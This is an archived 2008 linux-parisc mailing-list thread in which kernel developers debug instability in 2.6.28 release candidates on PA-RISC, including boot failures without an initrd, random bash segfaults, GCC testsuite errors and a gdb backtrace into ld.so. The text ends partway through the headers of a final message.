	Sat, 22 Nov 2008 18:02:01 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 51E828110;
	Sat, 22 Nov 2008 17:01:57 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5xZURG768C57; Sat, 22 Nov 2008 17:01:54 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 4BC9080D2;
	Sat, 22 Nov 2008 17:01:52 -0600 (CST)
In-Reply-To: <20081122213744.GA26202@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:869
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/869>

On Sat, 2008-11-22 at 16:37 -0500, John David Anglin wrote:
> On Sat, 22 Nov 2008, John David Anglin wrote:
> 
> > Added a couple of printks:
> > 
> > VFS: name="/dev/root", p="cramfs"
> > err=-6
> > VFS: Cannot open root device "sda3" or unknown-block(0,0)
> > Please append a correct "root=" boot option; here are the available partitions:
> 
> Boots if I add initrd=1/initrd.img.  Have to say the error message isn't
> very helpful.

Um, I think you're using a configuration where SCSI is modular?  So it
finds the root disk if you have an initrd (by loading the modules) and
it can't if you don't.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sun, 23 Nov 2008 00:13:48 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20081123071348.GA31575@colo.lackof.org>
References: <49231FD0.9040409@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227424474 32497 80.91.229.12 (23 Nov 2008 07:14:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 23 Nov 2008 07:14:34 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 23 08:15:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L49Bv-000248-G6
	for glpp-linux-parisc@gmane.org; Sun, 23 Nov 2008 08:15:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751901AbYKWHOX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 Nov 2008 02:14:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751999AbYKWHOX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 23 Nov 2008 02:14:23 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:40382 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751901AbYKWHOX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 Nov 2008 02:14:23 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E4D516F8037;
	Sun, 23 Nov 2008 00:14:18 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31212-05; Sun, 23 Nov 2008 00:13:58 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6E7396F8021; Sun, 23 Nov 2008 00:13:50 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <49231FD0.9040409@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:870
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/870>

On Tue, Nov 18, 2008 at 09:04:32PM +0100, Helge Deller wrote:
> Hello PA hackers,
>
> I've tried various -rc candidates in the last few weeks, and sadly the 
> parisc kernel is in pretty bad shape.
>
> At the beginning I started to get problems only when I had USB 
> keyboard/mouse attached to the PA machine. This lead to bugzilla 
> http://bugzilla.kernel.org/show_bug.cgi?id=11913

I don't have any USB devices attached (serial console) on j6000.
Also getting occasional:
Backtrace:

with no other output when a process (usually hppa64-gcc) segfaults "randomly".
This is with kernel builds.

> Now, with -rc4 and -rc5 things got even worse.

I've tried both -rc3 and -rc5. I'm going to try 2.6.27.7 as well.

> Crashes happen often just directly at the beginning.
> I'm sure it's not USB related any more, and I assume we have some strange 
> mm-problem somewhere.

I'm inclined to agree though it's just a guess.

> The kernel crashes at various places, and mostly a null-pointer is 
> involved.

I haven't crashed the kernel per se, just getting segfaults reminiscent
of when we still had issues with mm not playing well with VIVT caches.

> Right now I'm clueless...

Sorry, I'm not better. :(
All I can do is try to work backwards a bit...but we've been in
pretty bad shape with various types of breakage since 2.6.22 about.

grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sun, 23 Nov 2008 11:36:15 -0500 (EST)
Lines: 121
Approved: news@gmane.org
Message-ID: <20081123163616.7399D4DF8@hiauly1.hia.nrc.ca>
References: <20081123071348.GA31575@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227458193 21163 80.91.229.12 (23 Nov 2008 16:36:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 23 Nov 2008 16:36:33 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 23 17:37:37 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L4Hxk-0007sB-Ad
	for glpp-linux-parisc@gmane.org; Sun, 23 Nov 2008 17:37:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750767AbYKWQgU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 Nov 2008 11:36:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751010AbYKWQgU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 23 Nov 2008 11:36:20 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4526 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750767AbYKWQgT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 Nov 2008 11:36:19 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7399D4DF8; Sun, 23 Nov 2008 11:36:15 -0500 (EST)
In-Reply-To: <20081123071348.GA31575@colo.lackof.org> from "Grant Grundler" at Nov 23, 2008 00:13:48 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:871
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/871>

> On Tue, Nov 18, 2008 at 09:04:32PM +0100, Helge Deller wrote:
> > Hello PA hackers,
> >
> > I've tried various -rc candidates in the last few weeks, and sadly the 
> > parisc kernel is in pretty bad shape.
> >
> > At the beginning I started to get problems only when I had USB 
> > keyboard/mouse attached to the PA machine. This lead to bugzilla 
> > http://bugzilla.kernel.org/show_bug.cgi?id=11913
> 
> I don't have any USB devices attached (serial console) on j6000.
> Also getting occasional:
> Backtrace:
> 
> with no other output when a process (usually hppa64-gcc) segfaults "randomly".
> This is with kernel builds.
> 
> > Now, with -rc4 and -rc5 things got even worse.
> 
> I've tried both -rc3 and -rc5. I'm going to try 2.6.27.7 as well.

Try rc6.  It seems better than rc5.  With rc5 and JEB's ion config
on rp3340, bash dumped core four times building rc6.  In general, I see
more random segfaults in bash and make than any other applications.

rc6 is certainly not perfect.  I managed a full GCC build but in the
testsuite (ada) I has this error in the build log:

...
Running chapter cc ...
sed: option requires an argument -- e
Usage: sed [OPTION]... {script-only-if-no-other-script} [input-file]...

  -n, --quiet, --silent
		 suppress automatic printing of pattern space
  -e script, --expression=script
		 add the script to the commands to be executed
  -f script-file, --file=script-file
		 add the contents of script-file to the commands to be executed
  -i[SUFFIX], --in-place[=SUFFIX]
		 edit files in place (makes backup if extension supplied)
  -l N, --line-length=N
		 specify the desired line-wrap length for the `l' command
  --posix
		 disable all GNU extensions.
  -r, --regexp-extended
		 use extended regular expressions in the script.
  -s, --separate
		 consider files as separate rather than as a single continuous
		 long stream.
  -u, --unbuffered
		 load minimal amounts of data from the input files and flush
		 the output buffers more often
      --help     display this help and exit
      --version  output version information and exit

If no -e, --expression, -f, or --file option is given, then the first
non-option argument is taken as the sed script to interpret.  All
remaining arguments are names of input files; if no input files are
specified, then the standard input is read.

E-mail bug reports to: bonzini@gnu.org .
Be sure to include the word ``sed'' somewhere in the ``Subject:'' field.
FAIL:   cc30002

In the ada log:

BUILD cc30002.adb
gnatmake --GCC="/home/dave/gnu/gcc/objdir/gcc/xgcc -B/home/dave/gnu/gcc/objdir/g
cc/" -gnatws -O2 -I/home/dave/gnu/gcc/objdir/gcc/testsuite/ada/acats/support cc3
0002.adb -largs --GCC="/home/dave/gnu/gcc/objdir/gcc/xgcc -B/home/dave/gnu/gcc/o
bjdir/gcc/"
/home/dave/gnu/gcc/objdir/gcc/xgcc -c -B/home/dave/gnu/gcc/objdir/gcc/ -gnatws -
O2 -I/home/dave/gnu/gcc/objdir/gcc/testsuite/ada/acats/support cc30002.adb
/home/dave/gnu/gcc/objdir/gcc/xgcc -c -B/home/dave/gnu/gcc/objdir/gcc/ -gnatws -
O2 -I/home/dave/gnu/gcc/objdir/gcc/testsuite/ada/acats/support cc30002_0.adb
/home/dave/gnu/gcc/objdir/gcc/xgcc -c -B/home/dave/gnu/gcc/objdir/gcc/ -gnatws -
O2 -I/home/dave/gnu/gcc/objdir/gcc/testsuite/ada/acats/support cc30002_1.adb
/home/dave/gnu/gcc/objdir/gcc/xgcc -c -B/home/dave/gnu/gcc/objdir/gcc/ -gnatws -
O2 -I/home/dave/gnu/gcc/objdir/gcc/testsuite/ada/acats/support cc30002_2.adb
/home/dave/gnu/gcc/objdir/gcc/xgcc -c -B/home/dave/gnu/gcc/objdir/gcc/ -gnatws -
O2 -I/home/dave/gnu/gcc/objdir/gcc/testsuite/ada/acats/support cc30002_3.ads
gnatbind -I/home/dave/gnu/gcc/objdir/gcc/testsuite/ada/acats/support -x cc30002.
ali
gnatlink cc30002.ali --GCC=/home/dave/gnu/gcc/objdir/gcc/xgcc -B/home/dave/gnu/g
cc/objdir/gcc/
RUN 
/home/dave/gnu/gcc/gcc/gcc/testsuite/ada/acats/run_all.sh: line 16: /home/dave/g
nu/gcc/objdir/gcc/testsuite/ada/acats/tests/cc/cc30002/: is a directory
FAIL:   cc30002

The file cc30002 is there:

dave@mx3210:~/gnu/gcc/objdir/gcc/testsuite/ada/acats/tests/cc/cc30002$ ls
cc30002      cc30002.lst    cc30002_1.adb  cc30002_2.ads
cc30002.adb  cc30002_0.adb  cc30002_1.ads  cc30002_3.ads
cc30002.log  cc30002_0.ads  cc30002_2.adb

and the test passes if run.  I've never seen cc30002 fail before.

The error building rc6 was:

  ...
  LD [M]  fs/exportfs/exportfs.o

  malloc: ../../../bash/lib/sh/stringvec.c:73: assertion botched
  free: called with unallocated block argument
  Aborting.../bin/sh: line 1:  7965 Aborted                 (core dumped) ( cat /dev/null; echo kernel/fs/exportfs/exportfs.ko ) > fs/exportfs/modules.order
  make[2]: *** [fs/exportfs/modules.order] Error 134
  make[1]: *** [fs/exportfs] Error 2
  make: *** [fs] Error 2

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sun, 23 Nov 2008 11:54:21 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <20081123165422.9AFCC4DF8@hiauly1.hia.nrc.ca>
References: <1227394911.4366.0.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227459279 24305 80.91.229.12 (23 Nov 2008 16:54:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 23 Nov 2008 16:54:39 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, grundler@parisc-linux.org,
	deller@gmx.de, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 23 17:55:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L4IFF-0003dV-27
	for glpp-linux-parisc@gmane.org; Sun, 23 Nov 2008 17:55:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751372AbYKWQyZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 Nov 2008 11:54:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751663AbYKWQyZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 23 Nov 2008 11:54:25 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4531 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751372AbYKWQyZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 Nov 2008 11:54:25 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9AFCC4DF8; Sun, 23 Nov 2008 11:54:22 -0500 (EST)
In-Reply-To: <1227394911.4366.0.camel@localhost.localdomain> from "James Bottomley" at Nov 23, 2008 08:01:51 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:872
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/872>

> > Boots if I add initrd=1/initrd.img.  Have to say the error message isn't
> > very helpful.
> 
> Um, I think you're using a configuration where SCSI is modular?  So it
> finds the root disk if you have an initrd (by loading the modules) and
> it can't if you don't.

The loop fails in the first iteration because the mount fails with
ENXIO.  It's not clear whether this is intentional but the code doesn't
check for it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sun, 23 Nov 2008 11:57:17 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20081123165718.0D5A94DCB@hiauly1.hia.nrc.ca>
References: <20081123163616.7399D4DF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227459449 24851 80.91.229.12 (23 Nov 2008 16:57:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 23 Nov 2008 16:57:29 +0000 (UTC)
Cc: grundler@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 23 17:58:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L4II3-0003dV-Pe
	for glpp-linux-parisc@gmane.org; Sun, 23 Nov 2008 17:58:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752815AbYKWQ5U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 Nov 2008 11:57:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752775AbYKWQ5U
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 23 Nov 2008 11:57:20 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4533 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752746AbYKWQ5T (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 Nov 2008 11:57:19 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0D5A94DCB; Sun, 23 Nov 2008 11:57:17 -0500 (EST)
In-Reply-To: <20081123163616.7399D4DF8@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 23, 2008 11:36:15 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:873
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/873>

> The error building rc6 was:
> 
>   ...
>   LD [M]  fs/exportfs/exportfs.o
> 
>   malloc: ../../../bash/lib/sh/stringvec.c:73: assertion botched

This just happened with rc6, so the bug isn't fixed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 24 Nov 2008 21:54:20 -0500 (EST)
Lines: 89
Approved: news@gmane.org
Message-ID: <20081125025421.9745A4FB6@hiauly1.hia.nrc.ca>
References: <20081123165718.0D5A94DCB@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227581678 22223 80.91.229.12 (25 Nov 2008 02:54:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Nov 2008 02:54:38 +0000 (UTC)
Cc: grundler@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 25 03:55:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L4o5R-0008Ch-Q0
	for glpp-linux-parisc@gmane.org; Tue, 25 Nov 2008 03:55:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753231AbYKYCyZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Nov 2008 21:54:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753063AbYKYCyZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 24 Nov 2008 21:54:25 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4660 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752751AbYKYCyY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Nov 2008 21:54:24 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9745A4FB6; Mon, 24 Nov 2008 21:54:21 -0500 (EST)
In-Reply-To: <20081123165718.0D5A94DCB@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 23, 2008 11:57:17 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:874
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/874>

> >   malloc: ../../../bash/lib/sh/stringvec.c:73: assertion botched
> 
> This just happened with rc6, so the bug isn't fixed.

Continued testing rc6.  After three segv loops caused by /bin/sh
segfaulting and the kernel stacktrace filling the file system with
log messages, I rebuilt rc6 with Helge's fix.  Now I things are
better when bash segfaults.  However, it drops core so often that
the system is unusable for serious work.  The problem appears more
like a glibc bug than a kernel fault, but it's not clear.

Here's one segv:

dave@mx3210:/var/log$ dpkg -l libc6
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Cfg-files/Unpacked/Failed-cfg/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  libc6          2.7-16         GNU C Library: Shared libraries

dave@mx3210:~/gnu/gcc/objdir/libiberty$ gdb -c core /bin/sh
GNU gdb (GDB) 6.8.50.20080915-cvs
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
(no debugging symbols found)
BFD: Warning: /home/dave/gnu/gcc/objdir/libiberty/core is truncated: expected core file size >= 1654784, found: 1585152.
Reading symbols from /lib/libncurses.so.5...(no debugging symbols found)...done.
Loaded symbols for /lib/libncurses.so.5
Reading symbols from /lib/libdl.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/ld.so.1

Core was generated by `/bin/sh -c if [ x"-fPIC" != x ]; then \
  gcc -c -DHAVE_CONFIG_H -g -fkeep-inli'.
Program terminated with signal 11, Segmentation fault.
#0  0x401ed4e4 in ?? () from /lib/ld.so.1
(gdb) bt
#0  0x401ed4e4 in ?? () from /lib/ld.so.1
#1  0x401f3b58 in ?? () from /lib/ld.so.1
#2  0x00046398 in ?? ()
#3  0x00048640 in wait_for ()
#4  0x00038494 in execute_command_internal ()
#5  0x00038608 in execute_command ()
#6  0x000374a4 in execute_command_internal ()
#7  0x00073994 in parse_and_execute ()
#8  0x000259fc in ?? ()
#9  0x00026988 in main ()
(gdb) disass 0x401ed4d4 0x401ed4f4
Dump of assembler code from 0x401ed4d4 to 0x401ed4f4:
0x401ed4d4:	ldw 0(r3),r20
0x401ed4d8:	ldw 4(ret0),ret0
0x401ed4dc:	add,l r20,ret0,r25
0x401ed4e0:	ldw 2c(r3),ret0
0x401ed4e4:	ldw 4(ret0),ret1
0x401ed4e8:	ldw 8(r5),ret0
0x401ed4ec:	addil L%800,r19,r1
0x401ed4f0:	add,l r25,ret0,r25
End of assembler dump.
(gdb) p/x $ret0
$1 = 0x0
(gdb) info shared
>From        To          Syms Read   Shared Object Library
0x402fca40  0x4031e490  Yes         /lib/libncurses.so.5
0x405f5d10  0x405f70ec  Yes         /lib/libdl.so.2
0x4061beb0  0x4070d630  Yes         /lib/libc.so.6
0x401e0370  0x401f8c80  Yes         /lib/ld.so.1

The segv looks to be in _dl_fixup at 0xf3b8 in /lib/ld.so.1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Tue, 25 Nov 2008 08:33:24 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <119aab440811250533y1a09a396i318dfc057ad0d659@mail.gmail.com>
References: <20081123165718.0D5A94DCB@hiauly1.hia.nrc.ca>
	 <20081125025421.9745A4FB6@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227620019 29698 80.91.229.12 (25 Nov 2008 13:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Nov 2008 13:33:39 +0000 (UTC)
Cc: grundler@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 25 14:34:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L4y3r-0002Tq-9l
	for glpp-linux-parisc@gmane.org; Tue, 25 Nov 2008 14:34:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752376AbYKYNd1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Nov 2008 08:33:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752358AbYKYNd0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Nov 2008 08:33:26 -0500
Original-Received: from wf-out-1314.google.com ([209.85.200.170]:34070 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752270AbYKYNdZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Nov 2008 08:33:25 -0500
Original-Received: by wf-out-1314.google.com with SMTP id 27so2777739wfd.4
